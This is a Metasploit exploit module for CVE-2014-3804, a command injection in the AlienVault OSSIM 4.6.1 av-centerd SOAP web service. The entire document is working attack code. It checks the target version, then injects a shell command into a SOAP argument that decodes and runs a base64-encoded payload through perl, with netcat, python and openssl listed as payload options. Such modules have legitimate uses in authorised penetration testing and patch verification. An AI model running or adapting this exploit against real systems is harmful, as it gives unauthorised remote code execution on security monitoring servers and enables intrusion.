Alienvault Open Source SIEM (OSSIM) – av-centerd Command Injection (Metasploit)
## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'rexml/document' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include REXML def initialize(info = {}) super(update_info(info, 'Name' => 'AlienVault OSSIM av-centerd Command Injection', 'Description' => %q{ This module exploits a code execution flaw in AlienVault 4.6.1 and prior. The vulnerability exists in the av-centerd SOAP web service, where the update_system_info_debian_package method uses perl backticks in an insecure way, allowing command injection. This module has been tested successfully on AlienVault 4.6.0. }, 'Author' => [ 'Unknown', # From HP ZDI team, Vulnerability discovery 'juan vazquez' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2014-3804'], ['BID', '67999'], ['ZDI', '14-202'], ['URL', 'http://forums.alienvault.com/discussion/2690'] ], 'Privileged' => true, 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Payload' => { #'BadChars' => "[;`$<>|]", # Don't apply bcuz of the perl stub applied 'Compat' => { 'RequiredCmd' => 'perl netcat-e openssl python gawk' } }, 'DefaultOptions' => { 'SSL' => true }, 'Targets' => [ [ 'AlienVault <= 4.6.1', { }] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'May 5 2014')) register_options( [ Opt::RPORT(40007) ], self.class) end def check version = "" res = send_soap_request("get_dpkg") if res && res.code == 200 && res.headers['SOAPServer'] && res.headers['SOAPServer'] =~ /SOAP::Lite/ && res.body.to_s =~ /alienvault-center\s*([\d\.]*)-\d/ version = $1 end if version.empty? || version >= "4.7.0" return Exploit::CheckCode::Safe else return Exploit::CheckCode::Appears end end def exploit send_soap_request("update_system_info_debian_package", 1) end def build_soap_request(method) xml = Document.new xml.add_element( "soap:Envelope", { 'xmlns:xsi' => "http://www.w3.org/2001/XMLSchema-instance", 'xmlns:soapenc' => "http://schemas.xmlsoap.org/soap/encoding/", 'xmlns:xsd' => "http://www.w3.org/2001/XMLSchema", 'soap:encodingStyle' => "http://schemas.xmlsoap.org/soap/encoding/", 'xmlns:soap' => "http://schemas.xmlsoap.org/soap/envelope/" }) body = xml.root.add_element("soap:Body") m = body.add_element( method, { 'xmlns' => "AV/CC/Util" }) args = [] args[0] = m.add_element("c-gensym3", {'xsi:type' => 'xsd:string'}) args[1] = m.add_element("c-gensym5", {'xsi:type' => 'xsd:string'}) args[2] = m.add_element("c-gensym7", {'xsi:type' => 'xsd:string'}) args[3] = m.add_element("c-gensym9", {'xsi:type' => 'xsd:string'}) (0..3).each { |i| args[i].text = rand_text_alpha(4 + rand(4)) } if method == "update_system_info_debian_package" args[4] = m.add_element("c-gensym11", {'xsi:type' => 'xsd:string'}) perl_payload = "system(decode_base64" perl_payload += "(\"#{Rex::Text.encode_base64(payload.encoded)}\"))" args[4].text = "#{rand_text_alpha(4 + rand(4))}" args[4].text += " && perl -MMIME::Base64 -e '#{perl_payload}'" end xml.to_s end def send_soap_request(method, timeout = 20) soap = build_soap_request(method) res = send_request_cgi({ 'uri' => '/av-centerd', 'method' => 'POST', 'ctype' => 'text/xml; charset=UTF-8', 'data' => soap, 'headers' => { 'SOAPAction' => "\"AV/CC/Util##{method}\"" } }, timeout) res end end |